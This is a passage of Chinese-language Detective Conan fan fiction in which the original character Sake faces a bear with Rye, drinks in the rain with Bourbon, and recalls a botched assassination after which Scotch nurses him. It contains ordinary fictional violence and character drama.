不过那只死兔子还躺在树下,血的味道在空气里散开,被风送到了它的面前。对一只熊来说,那大概比任何东西都更有吸引力。 “莱伊。”羽泽熙真几乎是在用气声说话,“你看到了吗?” “看到了。”诸星大幽幽开口,“你运气真好。” 羽泽熙真觉得那应该不是夸奖。 “什么意思?” “我在这儿练了一上午的枪,都没碰到它。”诸星大平静地说,“之前也从来没有过。” “你一来,它就来了。” 羽泽熙真:“……” 这个也能怪我吗? 他张了张嘴,想说什么,又闭上了。 说什么呢?说自己运气不好?说这是巧合?说对不起打扰了你平静的射击训练? 每一句都显得很蠢。 “抱歉,”他说,“可能我看起来更好吃一点吧。” 诸星大没有回应。大概也觉得这句话不值得回应。 羽泽熙真盯着那只熊,吞了一下口水。 ——跑的话,能跑掉吗? 他跑得是比一般人快,从小在组织里长大,体能训练是每天的必修课,跑步、攀爬、格斗、射击,每一项都是实打实的成绩。他记得自己八岁的时候被琴酒丢在山上跑了二十公里,跑完吐了一个小时。 他的短跑成绩不错,但熊的短距离冲刺速度可以达到每小时五十公里,换算成百米大概是七秒多,比奥运会短跑冠军还快,他跑不过它。 更何况,他还得带上个莱伊,总不能把人扔在这儿不管。 打的话…… 他的后腰有一把枪。但熊的皮肉和脂肪很厚,9毫米的子弹打在身上,大概就像被针扎了一下,除非打到眼睛或者嘴巴里面,否则根本伤不到它。 而且,打中了又怎样? 一只受伤的熊比一只健康的熊更危险。它会被激怒,会用那几百公斤的身体冲过来,他见过那种惨状。到时候,他和莱伊都会变成肉饼。 身后的诸星大动了动手指——轻轻地搭上了扳机护圈。他在准备射击。 “别。”羽泽熙真按住他的手臂,“别动。” 诸星大偏过头,看了他一眼。 “你有更好的办法?” “没有。”羽泽熙真说,“但你别开枪。” “为什么?” “因为——”羽泽熙真盯着那只熊,“这里是组织的产业。打了要赔钱的。” “……你认真的?” “非常认真。” 他不能确定诸星大的水平,但他能感觉到诸星大在紧张,谁也不知道这位狙击手在这种压力下的表现。 熊的鼻子一直在翕动,从他们的方向慢慢转向树下的那团灰褐色。它的身体微微前倾,前爪在落叶上抓了一下,又收回去。 它在犹豫。 人不是熊的食物,除非它饿极了。现在是夏天,树林里有的是浆果、昆虫、小动物,它不需要冒险去攻击一个比自己还高的两足动物。 “莱伊,它对兔子更感兴趣。”羽泽熙真轻声,“慢慢往后退。不要跑。不要看它的眼睛。” “好。” 鸟已经不叫了。 刚才还在头顶叽叽喳喳的那几只鸟,不知道什么时候飞走了。整个林子安静得像一座坟墓。 他们开始往后退。一步,两步,三步。 熊立在原地,看着他们后退,没什么反应。 羽泽熙真又退了两步。 这次和他一起后退的诸星大踩到了枯枝,“咔嚓”一声。 羽泽熙真的心脏停跳了一拍。 熊猛地抬头,嘴唇掀开,露出黄色的牙齿,每一颗都有成年人的手指那么长,上面沾着一点唾液。 羽泽熙真握紧了枪柄,好在熊的嘴唇慢慢合上了。那双黑眼睛在两人身上扫过,又落回了树下。 它抬起前爪,开始朝那只兔子走去。 落叶在它脚下被踩碎,“嘎吱嘎吱”的,它向着他们原本的位置渐渐靠近,一边走一边嗅着地面。 它找到了那只兔子。 而羽泽熙真和诸星大已经退到了相对安全的距离,躲到一棵大树后面。 羽泽熙真侧过身,从树干的边缘探出视线。 不远处的熊低下了头,用鼻子拱了拱那只死兔子,然后把兔子叼了起来。 随后它转身,慢慢地朝着树林深处走去。很快,它的背影很快就消失在灌木丛后面。枝叶晃了几下,不动了。 树冠被风吹得沙沙作响,阳光洒落,鸟雀啁啾地叫了两声。 一切恢复如常。 羽泽熙真站在原地看着那丛灌木,过了半天才慢慢呼出一口气,松开按在诸星大手臂上的手。 手指有点僵硬。他握了握拳,又松开。 “它走了。”他说。 他的后背有一层薄薄的汗,被风一吹,凉飕飕的。 诸星大在他身后“嗯”了一声。 “我们也走吧。”羽泽熙真转过身,“这里不太安全。” 诸星大点了点头,跟着他往回走。 他们一前一后,沿着来时的路走出树林。 诸星大单手抱着狙击枪,另一只手从口袋里摸出一包烟,抖出一根叼在嘴里点燃,灰白色的烟雾被风吹散。 一路无话。 羽泽熙真又看到了那丛红色的小果子,一串一串的,红得发亮。和他来的时候一样,它们安安静静地挂在枝头,等着被鸟吃掉,或者等着腐烂。 “你今天来找我,是为了苏格兰吧。” 诸星大忽然开口了。 羽泽熙真停下脚步,转过身。 他原本都不打算问了。今天这一趟,见了人说了话,还碰到了熊,够本了。 苏格兰的事嘛,以诸星大的性格,就算他问了,大概也只会得到一句“还好”或者“没什么”,和没说一样。 但既然诸星大主动开口了—— “嗯… …”羽泽熙真想了想,“其实是因为最近琴酒很看重你,让我有一点嫉妒呢。” 诸星大:? 诸星大挑眉:“所以,你是来做掉我的?” “开个玩笑。”羽泽熙真轻笑一声,“毕竟,最近和我朋友搭档的人是你,我总得认识一下吧——他的新搭档会是个怎样的人呢?我很好奇。” 诸星大的眼神变了变。 ——“朋友”吗? 他静静地看着无意识地抓住脖颈间吊坠的羽泽熙真。那枚水滴形的透明宝石被捏在指间,来回摩挲着。 这个人绝不仅仅是好奇那么简单。诸星大——同时也是FBI派来组织的卧底的探员赤井秀一这样想。 在白兰地的描述中,清酒是个“有些特别”的组织成员,比大部分人都要难对付。意思是,不要轻易招惹他。 而那双漂亮的金色眼睛,此刻正带着笑意望着自己。 他是在试探,还是在警告? 如果他今天见到的“莱伊”是个让他觉得不妙的人……比如他觉得会对苏格兰有威胁、不值得信任,或者这个人本身就不应该存在—— 诸星大总觉得为了防患于未然,清酒什么都做得出来。 “苏格兰只是暂时和我搭档。”诸星大低头,弹了弹烟灰,“你不用太担心,我不会抢走他的。” “什么抢不抢……” 羽泽熙真皱起眉:“我只是想知道,他怎么样?” “苏格兰是个不错的搭档。”诸星大答道,“执行任务时很专业,合作起来很顺利。” ……谁要问他这个啊。 羽泽熙真叹气:“那就好。” 他问的是“他怎么样”,不是“他作为搭档怎么样”。他想知道的是苏格兰最近有没有受伤,有没有遇到麻烦。 但莱伊没懂。或者他懂了,但不想说。 不说就算了。 “对了,莱伊。”羽泽熙真说,“你之前见过波本吗?” “……谁?” “没什么。” 羽泽熙真耸了耸肩,把手插回口袋里,朝树林外走去。 莱伊这个人,到底是站哪边的? 他没见过波本,不是朗姆那边的人吗……暂时还不能排除。 虽然明面上莱伊是跟着琴酒的行动组,但羽泽熙真总感觉有哪里不太对劲。 还有这个莫名其妙的搭档调动。 要么是组织怀疑苏格兰,安排莱伊去试探他。要么是莱伊可能有问题,组织借着这个机会让苏格兰盯着。 或者是因为莱伊刚拿到代号,组织对他不放心? 而更麻烦的是—— 羽泽熙真推开A-7房间的门,看到了还躺在垫子上出神的安室透。 “……你怎么还没起来。” “躺着挺舒服的。”安室透双手交叠放在腹部,“隔音也很好,关了窗完全听不到外面的声音。” “……” 这个人,也很难说不是被派来监视自己的。 苏格兰被调走,波本被调来。时间很巧合,这两件事之间,是否有一定的关联性?也许只是巧合。也许不是。 “训练场有野外环境?”安室透有点好奇地开口,“你的鞋子上沾了很多泥土,是出去了吗?” “哦,那个啊……” 羽泽熙真回过神来,低头看了看自己的鞋子。 “是啊。” 他讲述起刚刚的经历。 15. 下雨的时候…… 外面在下雨。 伴随着轰隆的雷声,一场毫无预兆的暴雨造访了这个平静的夜晚。 床上的羽泽熙真抬起头,看向窗外。 很大的雨。接连不断的水滴落在玻璃上,又流下去。 他的目光不自觉地被窗外的雨水吸引,那雨有一种奇怪的魔力,让人不想移开视线。 手里的书已经几分钟没翻页了,他索性放下书,翻身下床,走向通往露台的小门。 推开门的瞬间,雨声一下子变大了,或者说,变得更清晰了。所有的声响都仿佛被它淹没,世界只剩下无尽的雨声。 泥土的腥气扑面而来,带着一点草叶的味道,不算好闻,但也不难闻,就是雨的味道,夏天的雨的味道。 露台放着一张小圆桌和两把藤椅,已经积起了水。桌面上有一个烟灰缸,里面有几根烟头,被雨水泡得发胀。 羽泽熙真刚刚洗过澡不久,上身只穿了件T恤,头发干了小半。他淋着雨走到栏杆边,趴上去,下巴搁在手臂上。 栏杆被雨水打湿了,凉飕飕的。 雨点落在他身上。很快,他的头发就再次湿透了,衣服也是,沉甸甸地往下滴着水。 羽泽熙真闭上眼睛,他听不见别的声音了,雨声从四面八方涌过来,包围了他。 他喜欢这种感觉。 从里到外,从上到下被洗得干干净净,那些积在心里的、说不清道不明的东西,被雨水冲走了,流进下水道,流进河里,流进海里,再也找不到了。 他从很小的时候就有这种习惯。 那时候还在组织里的训练营,住的房间很小,窗户也很小,下雨的时候,他会把窗户打开一条缝,伸出手去,让雨水落在手上。那时候还不懂什么,只是觉得凉凉的,很舒服。 后来长大了,这个习惯也跟着长大了。从一条窗缝变成一整个露台,从一只手变成整个人。 忽然,身后隔壁次卧的门开了。 “清酒?” 安室透有点疑惑的声音从后面传来,模模糊糊的被雨声盖住大半。 羽泽熙真偏过头,金发青年站在露台门口,一手扶着门框,探头朝这边张望。 “外面在下雨。”安室透说。 羽泽熙真漫不经心地“嗯”了一声。 “我知道啊。” 雨水从他脸上淌过,视线有些模糊。他眨了眨眼,没有去擦。 安室透:“……” 安室透:“所以你这是在洗澡吗?” 羽泽熙真想了想,发现自己这种浑身湿透的状态似乎确实和洗澡没什么区别,除了没脱衣服、用的是雨水之外。 他笑了一下。 “可能是吧。” 雨越下越大,没有要停的意思。 片刻后,安室透转身走回房间,顺手带上了门。 羽泽熙真重新闭上眼睛,把脸埋进手臂里。 然后门又开了。 他回过头,安室透手里多了一把伞。他走到露台上,把伞举到羽泽熙真头顶,遮住了那些往下落的雨水。 “你不冷吗?”安室透问。 “还好。” “你全身都湿透了。” “我知道。” “会感冒的。” “不会。” 安室透不说话了。 过了一会儿,羽泽熙真感觉有什么东西在敲他的头顶,一下一下的,凉凉的。 他抬起头——安室透的伞歪了,伞面上的水全顺着边缘流下来,正好落在他脑袋上。 羽泽熙真:“……” 他看了安室透一眼。安室透正看着远方,表情很认真,仿佛在思考什么深奥的问题,比如明天早上吃什么。完全没有注意到自己打伞的技术有多糟糕。 羽泽熙真收回视线,往旁边挪了一步。他已经湿透了,多几滴水少几滴水没什么区别,但他不想被人当成盆栽一样精准浇灌。 结果安室透也跟着他挪了一步。伞还是举在他头顶,还是歪的,水还是浇在他脑袋上。 羽泽熙真又挪了一步。 安室透又跟了一步。 ……这家伙是故意的吧。 羽泽熙真翻了个白眼,停下脚步,懒得跟他计较。 “你在想什么?”安室透忽然开口。 关你什么事? 羽泽熙真差点就说出口了。 但鉴于他现在心情还算不错,他原谅了波本的僭越发言。 “在想……”羽泽熙真想了想,“一些以前的事。” “以前的事?” “嗯。” 羽泽熙真把下巴搁在手背上,整个人趴在栏杆上,姿势比刚才更懒散了。 “很久以前的事。” 他没有继续说下去,安室透也识趣的没有追问。 说出去可能不会有人信,其实琴酒有时候会陪他淋雨。 那时他十四五岁,和琴酒做搭档的他还没有代号,在组织里甚至有人偷偷叫他“小琴酒”,用那种“看,小狗”的眼神看他——因为他总是跟在琴酒后面,也不爱说话,也总是面无表情地站在那里。 羽泽熙真对此没什么感觉,琴酒至少解释命令的时候还要说话,还会和人闲聊,他的话确实比琴酒还少。 偶尔没有任务的清闲日子,如果刚好碰到了雨雪天,那就是最好的了。 他从据点跑出去,到后院淋雨。后院都是土,长着几棵歪歪扭扭的树,走过去鞋底会沾满泥巴,但他不在乎。 淋了一会儿,琴酒出来找他,说他莫名其妙。 琴酒总是能找到他,不管他躲在训练营后面的小树林里,还是据点这片泥泞的后院。 他说不想回去,琴酒也就没有再坚持,可能是为了理解他的脑回路——或者纯粹是懒得和他废话——也站在那里淋雨。 两个人站在雨里,隔着两三步的距离,谁也不看谁,谁也不说话。 但琴酒有帽子,黑色的礼帽,宽宽的帽檐,能把雨水挡在外面。羽泽熙真没有。等羽泽熙真淋够了,或者雨变小了,琴酒就把帽子摘下来,扣在他头上。 帽檐太大了,遮住了他的眼睛,他把帽子往上推了推,琴酒已经转身往回走了。 羽泽熙真跟在后面,戴着那顶太大的帽子,踩着积水,一步一步地走回去。 回去以后,琴酒会扔给他一条毛巾,然后自己点一根烟,坐在窗边,看着窗外的雨。羽泽熙真擦干头发,把毛巾搭在椅背上,坐在琴酒对面,也不说话。 有时候他会想,琴酒到底是怎么想的。是嫌弃湿透的帽子,觉得戴在头上不舒服,所以干脆给他?还是真的觉得他会冷,想给他挡挡雨?他不知道。琴酒从来不说,他也从来不问。 他们就这样坐着,听着雨声,直到有人叫他们去执行任务。 “你在笑什么?” 安室透的声音把他拉回现实。 羽泽熙真摸了摸自己的嘴角。的确在笑。 “没什么。” 他直起腰,转身走回卧室,留下一串湿漉漉的脚印。 书桌上放着他喝了半瓶的清酒,他拿起瓶子倒了一杯。 想了想,他又从柜子里摸出另一只杯子,左手端着倒满的酒,右手拿着酒瓶和空杯走回露台。 安室透还站在那里,举着伞,扭头看着他。 羽泽熙真把酒瓶和酒杯放在小圆桌 上。桌面上的积水被他用手抹开,但很快又被雨水打湿了。 他将空杯倒满,递给安室透。 “喝吗?” 安室透低头看了看那杯雨水般清澈的酒,轻轻接过。 “谢谢。”他说。 羽泽熙真拿起另一杯,举到嘴边喝下。酒液带着一点淡淡的花果香和米香。从喉咙滑下去,一路暖到胃里。 安室透也喝了一口,细细品过才咽下去。 “好甜。”他挑眉,“我以为你会喜欢烈一些的。” 羽泽熙真弯了弯眼睛。 酒不多,几口就见底了。他把瓶子拿过来,给安室透倒满,又给自己加了些。 他拿着瓶子,胳膊搭在栏杆外面,瓶身悬在半空中。 “你知道,我第一次见他是什么时候吗?” 他轻声说,几乎像是在自言自语。 安室透偏过头。 “是说苏格兰?” “嗯。” “说说看。” 羽泽熙真抬手抿了一口酒。酒液落入了雨水,味道似乎变得淡了些。 从哪里开始呢…… 从最开始吧。 “那时候……苏格兰还没有代号。组织安排我带着他。” “一般来说,这种刚进组织的新人,上面不会怎么关注,你知道的。自生自灭。干出成绩了才有可能更进一步。干不出来……那就没有了。” “不过有些人也会主动接触新人。”羽泽熙真顿了顿,继续说,“教他们一些规则啦,注意事项啦,什么话能说什么话不能说,什么人能惹什么人不能惹。算是提前投资吧。谁知道哪个新人以后会爬上去呢,对吧?” 安室透点了点头。 组织里的确有些人会做这种事。新人什么都不知道,谁先伸手,新人就靠向谁。等到新人爬上去,那个先伸手的人就多了一个可以用的棋子。很简单的道理。 “你有接触过他们吗?”羽泽熙真偏过头,“你一看就是很能干的类型,应该也有人来找过你吧?” “有。”安室透说,“好几个。” 羽泽熙真点点头。 “我那时候刚做完一个任务,回据点交东西,在走廊里碰见了他。他站在走廊的窗户边,看着外面,不知道在想什么。黑色的头发,蓝色的眼睛,他的眼型很特殊,眼尾是微微上挑的……” 安室透转了转手里的酒杯。 “他多大?” “唔。他的年纪应该和你差不多,只是留了些胡子,显得要更成熟一点……” 羽泽熙真瞥他一眼。 “为什么突然关心这个?” 安室透笑了笑:“因为我喜欢蓝色眼睛的人。” “……喜欢眼睛?” “喜欢人。”安室透纠正,“不是你想的那种,清酒,我不是变态。” “喔。” 羽泽熙真暂时选择相信他,没有追问。他想了想,继续刚刚被打断的地方。 “我看了他一眼,他也看了我一眼。没说话。然后就走了。” “就这样?” “就这样。”羽泽熙真说,“我们根本不认识对方,只是擦肩而过。后来我才知道他是谁。” 他抿了一口酒,又把胳膊横在栏杆上,趴上去。 “然后我就没再见过他了。过了大概……一个月?两个月?我忘了。反正过了一段时间,上面说有个新人要给我当搭档,让我带一带。我拿到资料一看,照片上的人就是走廊里那个。” 安室透安静地听着。 “后来呢?” “后来……”羽泽熙真晃了晃杯子,“第一次任务,其实不算顺利。” 16. 不够完美的开始 “那是一个暗杀任务。目标是个有点身份的人,身边有保镖,住的房子也做了不少安保措施。我负责动手,让他做远程掩护。” 羽泽熙真望着远处的公寓楼,有的窗户亮着灯,有的黑着。 计划很简单。 苏格兰在目标宅邸对面的一栋高楼里找一个制高点,架好狙击枪,羽泽熙真从地面潜入。 等靠近目标的时候,如果有什么意外,苏格兰就开枪掩护。或者,如果目标躲在羽泽熙真够不到的地方,也由苏格兰负责解决。 结果羽泽熙真靠近目标的时候被保镖发现了。 两个保镖都有枪,他躲过了第一轮射击,被逼到了一个不太好的位置。那时候他想,没关系,苏格兰在上面,他应该能搞定。 然后他听到了枪声,看到目标倒下了,以为苏格兰成功得手,就开始处理那两个保镖。 说到这里,羽泽熙真叹了口气。 “结果那人没死。”他说,“苏格兰那一枪打偏了,子弹擦着目标的脑袋过去,打在了墙上。目标只是被吓晕了,躺在地上,看起来像死了,其实还活得好好的。” “过了一会儿,那人爬起来,看到我在和他的人缠斗,朝我开了一枪。” 羽泽熙真指了指自己的左肩。 “还好那人枪法不怎么样,只打到了这里。然后苏格兰补了一枪,这次终于打中了。” “……但你还是受伤了。” 安室透低头看着手里的杯子,淡淡道。 “之后苏格兰怎么样了?” 羽泽熙真摇摇头。 “那是我自己太大意了,跟他没关系。我应该先确认目标的状态……” “清酒。”安室透忽然开口。 “嗯?” “你淋了太久了。”安室透说,“回屋吧。” 羽泽熙真低头看了看自己。T恤已经完全湿透了,贴在身上,裤子的颜色也变得很深,从腰往下一直到裤脚,全是湿的。 他该觉得冷了,但他没有。也许是因为喝了酒,也许是因为别的什么。 “你先回去吧。”他笑了笑,“我再待一会儿。” “……好吧。” 安室透看了他一眼,转过身,放下酒杯回了房间。 目送着他的背影,羽泽熙真缓缓收起了笑容。 ……苏格兰啊。 —— 羽泽熙真独自找了个角落靠墙坐着,试图稍微缓口气。 任务完成了,目标处理了,他只是受了一点伤。这种程度的伤,睡一觉就会好了,他不需要任何人知道他在哪里。 ……还是因为太久没和其他人行动过了吗?这种小任务居然会受伤。 他应该早点明白的,不是每个搭档都像前辈那样,可以把一切都交付出去。 他是真的没想到,绿川光那一枪会打空。 伤口很疼。这就是把希望寄托在他人身上的代价。血顺着伤口出,衣料黏腻地附着在皮肤上,熟悉的昏沉感正在侵蚀他的意识。 他的体质很奇怪,受了伤会好得比别人快,但也比别人更容易昏迷,尤其是重伤的时候。就像是身体在进行某种修复时,会把所有的能量都集中到伤口上,其他地方就只能暂停工作。 疲惫感像潮水一样涌上来,他的意识开始不受控制地模糊,最后一丝警惕也被沉重的倦意吞没。 他睡了过去。 —— 诸伏景光——不,绿川光,背着狙击枪在外面等了一会儿,按计划,他和清酒应该在这里汇合,然后分头撤离。 但他等了很久,那条巷子里始终没有人走出来。 他这位前辈,从任务开始到结束,和他说的话加起来没超过五十个字。这是好还是不好呢…… 身为警视厅派来的卧底,多说多错的道理他是明白的。 清酒不爱说话,对他来说是一种幸运。他不需要绞尽脑汁去编造那些并不存在的过去,不需要小心翼翼地避开那些可能暴露身份的话题,只需要沉默地跟在后面,完成指令就可以了。 但清酒是不是有些太不待见他了? 他想了想,觉得自己大概是想多了。清酒对谁都是这样,伏特加是,琴酒……也差不多吧。 哪里不太对。 他刚刚好像看到目标对清酒开了一枪,清酒当时在他视觉的死角,距离太远,只看见枪口的火光闪了一下,然后清酒的身体晃了晃,又稳住了。 他不知道他有没有受伤。 绿川光掏出手机,发现清酒给他发了消息。 【任务结束,你走吧。——Sake】 看起来没什么异常,清酒不打算来汇合,他可以走了。 但绿川光总觉得,现在就走的话,之后可能会发生什么糟糕的事。 这是个毫无缘由的念头,但他决定相信自己的直觉。 他退出和清酒的聊天界面,点开另一个对话框。 【琴酒先生,清酒先生可能受伤了,我找不到他。】 消息发出去不到三十秒,琴酒的电话就打来了。 绿川光接起电话,还没开口,那头就传来了琴酒低沉的声音: “他在哪里受伤的?” 绿川光报了目标宅邸的地址,又说了自己所在的位置。 琴酒沉默了一会儿,绿川光听到了纸张翻动的声音,“沙沙”的。 可能是在翻找什么东西,或者在看地图? “你的北面五百米左右,有一条巷子。”琴酒的声音再次响起,“在两栋公寓楼之间。你去看看。” 绿川光愣了一下。 真的假的,周围那么多路口,那么多可以藏身的角落,琴酒怎么能确定清酒一定会在那里? 但他来不及多想,应了声“好”,握着手机,沿着街道往北走。 走了大概五分钟,他看到了两栋破旧的公寓楼,不高,五六层的样子。窗户黑洞洞的,看不出有没有人住。 楼与楼之间有一条巷子,又窄又暗,巷口堆着几个黑色的垃圾袋。 他侧身挤进去,站稳脚步,居然真的看到了羽泽熙真。 黑发青年靠在墙上,头歪向一边,眼睛紧闭着,整张脸白得像纸。深色的外套左侧肩膀位置破了一个大洞,此时已经被血糊住了,黑漆漆的一片,分不清哪里是衣服哪里是伤口。 绿川光蹲下身去,小心翼翼地伸手探了探羽泽熙真的鼻息。 还有气,不过…… 他皱了皱眉,又摸向羽泽熙真的脖颈。 触手冰凉, 心跳也很慢,几乎是两秒一次。 成年人正常的心率是每分钟六十到一百次,但羽泽熙真只有每分钟不到三十次,如果是在医院,医生大概已经开始准备抢救了。 “琴酒先生,我找到他了。”绿川光把电话放到耳边,“清酒先生昏迷了,左肩有枪伤,他的状态不太好。” 他似乎听到琴酒低低嗤了一声,刚想追问,琴酒就开口了。 “不用管他。让他睡。” “……什么?” 绿川光以为自己听错了。 “他睡着了就是在恢复。”琴酒淡淡道,“死不了。” “可是——” 电话挂断了。 绿川光低头看着靠在墙上的羽泽熙真,那张那张惨白的脸,还有被血浸透的衣服。 可是,清酒都已经凉了啊? 他在心里把琴酒的话翻来覆去琢磨了好几遍,最后得出结论:琴酒大概是认真的,他真的没打算让他把清酒送去医院,而清酒这么半死不活的躺一段时间就能自己好起来。 听起来比童话故事还要童话。 但不管琴酒怎么想,他不能把清酒扔在这里。清酒是因为他受的伤,如果清酒出了事,他也绝对难辞其咎。 绿川光把手机塞回口袋,弯腰把羽泽熙真从地上扶起来。 他把羽泽熙真带回了自己的安全屋。 这里是组织分配给他的住处,两室一厅的小公寓,地理位置不错,在市中心。据说想要其他备选的话自己申请就可以,也不要钱,组织在员工待遇这方面居然意外的人性化。 狙击枪很沉,羽泽熙真看着没什么肉,实际上也很沉。 就算绿川光平时经常锻炼,同时带着两个很沉的东西上楼还是废了他一番工夫。 这时候他就无比想念自己的幼驯染了,那个叫降谷零的人,如果他在这里,这些事就不用他一个人做了。 说起来,自从从学校毕业后,他似乎就再也没听说过zero的消息,发信息也没有回应,就像是从世界上消失了一样,无声无息的,该不会是在做什么危险的事吧…… 但自己做的事好像也没有安全到哪里去。绿川光无奈地想。 要是真的碰上了,谁担心谁还不好说。 他把羽泽熙真拖到客房的床上,擦了擦自己额头的汗,又把医疗箱拿过来。 不送医院,但做下清创应该没问题。 脱掉羽泽熙真的外套后,他小心翼翼地剥离开和血肉黏在一起的布料,一点点擦掉已经凝结的血块。 羽泽熙真很坚强的一声没吭——其实是因为他根本没有意识。 伤口的全貌渐渐露出来,看清那个洞后,绿川光倒吸了一口凉气。 情况比他想的要严重得多,贯穿伤,而且骨头好像也…… 他不太敢确定,那一块是碎掉了……? 但伤口已经不流血了,在还没有进行任何处理的时候,血流就止住了。哪怕绿川光现在正对着伤口戳戳按按,也没有新的血液流出来。 他想不通这是怎么做到的。 唯一的好消息是,子弹没有留在里面,也没有碎掉的弹片,不然清理起来危险更高。 绿川光拿起干净的纱布,将伤口结结实实地包裹了起来。 17.绿川光 有点冷。 羽泽熙真下意识往温暖的被窝里缩了缩,但被面与平日不同的触感瞬间勾起了他还没有完全苏醒的警觉。 他的被子应该更软一些,不是这种滑溜溜的质感…… 等等。 被子? 他不是应该在一条安静又安全的阴暗巷子里躺着吗? 羽泽熙真猛地睁开眼,坐起身来。 房间里没有其他人。他没有被绑,身上没有额外的伤口,伯|莱|塔在床头放着,他伸手就能抓到。 很明显,这不是敌对方的手段。 但他现在在别人的床上。 羽泽熙真低头,发现自己觉得冷是因为上半身没穿衣服。 只有左肩一圈一圈缠着的绷带,下面是已经完全愈合的伤口。 他试着活动了一下左臂,抬起来,放下去,转了一圈。 没有任何不适,像从来没有受过伤一样。 手机在……他的外套被人整整齐齐叠好放在了床尾,手机还在口袋里,没有人碰过。 羽泽熙真按亮屏幕看了看。 现在是任务结束后的第二天,早上八点。 新消息不多,几条是组织内部系统的推送,无关紧要。引起他注意的只有一条——琴酒发来的。 【醒了说一声。】 前辈知道他受伤了。 是他猜到的,还是有人告诉了他?羽泽熙真更倾向于后者。琴酒虽然敏锐,但不至于隔着半个东京闻到他身上的血腥味。 那么,会发现他受伤,并告诉琴酒的人只有一个。 同时那大概也是把他带到这间公寓的客房,还把他的衣服脱掉,给伤口做了包扎的人—— 昨天和他一起执行任务的搭档,绿川光。 【醒了。】 羽泽熙真给琴酒发了消息,披上还沾着血的外套,拉开门,侧身闪出去。 外面有油烟机的响声,嗡嗡嗡的,空气里飘着食物的味道。他循着声音往厨房走。 绿川光站在灶台前,背对着他。 他系着一条围裙,低着头,正在用木勺搅动锅里的东西。锅里的汤冒着热气,白色的水雾升起来,被油烟机吸走。 搅了几下,他又放下勺子,单手在旁边热好的平底锅里打了个鸡蛋。 羽泽熙真悄无声息地靠近了他,探出左手,从背后环住绿川光的肩膀,手臂瞬间收紧,把他整个人固定在怀里。 同时,他的右手夹着一枚薄薄的银色刀片,抵在了绿川光的脖子上。 “……” 绿川光的身体僵住了。 羽泽熙真知道自己只要轻轻一划,血就会喷出来,染红那一锅颜色漂亮的味噌汤。 “这是哪。”他冷声开口。 “……我的安全屋。”绿川光慢慢说道,“地址在——” “——我有问你地址吗?” 羽泽熙真打断了他。 “我记得我告诉过你,任务结束,你可以直接离开。” 锅里的煎蛋“滋滋”地响,蛋清凝固在锅底。 “……抱歉,清酒先生。”绿川光放缓了语气,似乎放松下来了,“您的伤已经没事了吗?如果裂开了的话,可能还要重新处理,您需要我帮忙吗?” 他的声音带着一种奇妙的起伏韵律,就像海浪在一起一落。羽泽熙真意识到了这一点。 这个人在利用自己的声音和语速,无形中影响着听者的情绪。这是一种技巧,一种经过训练、或者天生具备的能力,能让人在不知不觉中放下防备,觉得他说的话有道理,愿意听他说下去。 “接下来,我问,你答。”羽泽熙真微微收紧手指,“不要说多余的话。明白吗?” “啊,明白的。” 绿川光顿了顿。 “但是,煎蛋要糊了……” 羽泽熙真:“……” 他低头看了一眼锅里的煎蛋。确实糊了,边缘的颜色从金黄变成深褐,正在往焦黑的方向发展。 “把火关掉。” 绿川光伸出手,拧了一下灶台的旋钮。“咔”的一声,火灭了。 “把我带到这里、处理了我的伤口的人是你?” “是。” “中间有其他人来过吗?” “没有。” 很好,现在要处理的人只有一个了。 “当时你是怎么找到我的?”羽泽熙真问。 跟踪?还是在他身上装了什么东西? “啊,是因为琴酒先生告诉了我您的位置。”绿川光说,“他让我去找您。” 琴酒? 羽泽熙真皱了皱眉。琴酒能猜到他躲在哪里,这不奇怪,但他明明知道他睡一觉就能好起来,为什么还要让绿川光去找他? “他还说什么?” “琴酒先生说,您睡着了就是在恢复,但您的心跳太慢了,身上又很凉——” “——闭嘴。” 琴酒告诉他了。 为什么? 不。以他对琴酒的了解,他不会随便把这种事告诉其他人,至少不会全说。 所以当时的情景应该是这样的:绿川光慌慌张张地告诉琴酒“清酒先生可能不行了”,琴酒不想浪费时间说服一个新人相信“他真的只是睡着了”,又怕他真的把人送去医院,就随口敷衍了两句。 从刚刚绿川光的言语也能看出,他发现的东西应该不多——但也不排除他是为了保命在演戏,他知道太聪明的后果就是被迫把秘密永远咽在肚子里。 羽泽熙真权衡着。那枚小巧的的刀片还抵在绿川光脖子上。 他该留下这个人吗? 哪个选项是更轻松的? 他的手臂慢慢放松了一点。 在他沉默的这段时间里,绿川光没有发出任何声音,也没有趁着他减轻力量试着挣脱他的束缚,一动不动。 煎蛋在锅里慢慢变凉,味噌汤的香气越发浓郁。 羽泽熙真最终移开了手。刀片一闪而过,被收进袖口的夹层里,他退后一步。 绿川光这才转过身来。 他的短黑发驯服地垂着,深蓝色的上挑猫眼温和地笑了笑。下巴的胡茬给他添了三分成熟的气质,让他看起来比实际年龄大一些,不笑的时候大概会显得很严肃。 但笑起来的时候,他的整张脸都柔和了。 “我做了早餐,清酒先生。要一起吃一些吗?” “不用,我走了。” 羽泽熙真没有兴趣继续留在这里。他需要的信息已经全部得到了,其他的都无关紧要。 “今天早上,我去市场买了新鲜的蛤蜊。”绿川光的声音从身后传来,带着笑意,“用温水泡着让它们吐尽了沙子,放到了味噌汤里。” 羽泽熙真的脚步顿了顿。 “可我又很想喝粥。”绿川光继续轻声说,“新渍的小菜又脆又咸,刚好可以拿来搭配。” “刚刚的煎蛋没有糊掉,但还有几个鸡蛋破了口,我想把它们拿来做成厚蛋烧。” 他轻轻叹了一口气。 “不 知不觉,做的好像有些太多了啊……清酒先生,不知道您愿不愿意帮我分担一下呢?我会很感激的。” 羽泽熙真的脚步停住了。 他的手已经快要碰到玄关的门把手了,只需要再走一步,拉开门,走出去,这一切就结束了。他会回到自己的公寓,冲个澡,换身衣服,然后开始新的一天。 但是,他饿了吗?他问自己。 好像有一点。 从昨天任务前吃的那顿饭——便利店的饭团,到现在,已经过去十几个小时了。 他已经习惯了,平时有空就吃,没空就不吃。有时候一整天只喝一杯咖啡,有时候三天只吃两顿饭。他不在乎。 但刚才那锅味噌汤,闻起来确实很香。 羽泽熙真觉得,自己也许可以把宝贵的休息时间再浪费一点,在这个地方。 味噌汤差一把葱花,煎蛋只熟了半面,厚蛋烧还没下锅。 不过,粥已经煮得软烂了。绿川光盛了一碗粥端到餐桌上,和从冰箱里拿出的渍物一起推到羽泽熙真面前。 “请用。” 羽泽熙真垂着左手,用右手拿起勺子。为了避免麻烦,他打算再装个十天半个月左肩受伤,毕竟正常人不可能睡一觉就让子弹贯穿伤完全愈合。 粥很烫,他吹了吹,送入口中。 他彻底愣住了。 ……为什么白粥能做出这种味道? 每一粒米都吸饱了水分,在舌尖上轻轻一抿就散开,没有颗粒感,像丝绸一样滑过喉咙,米香弥漫在口腔中。 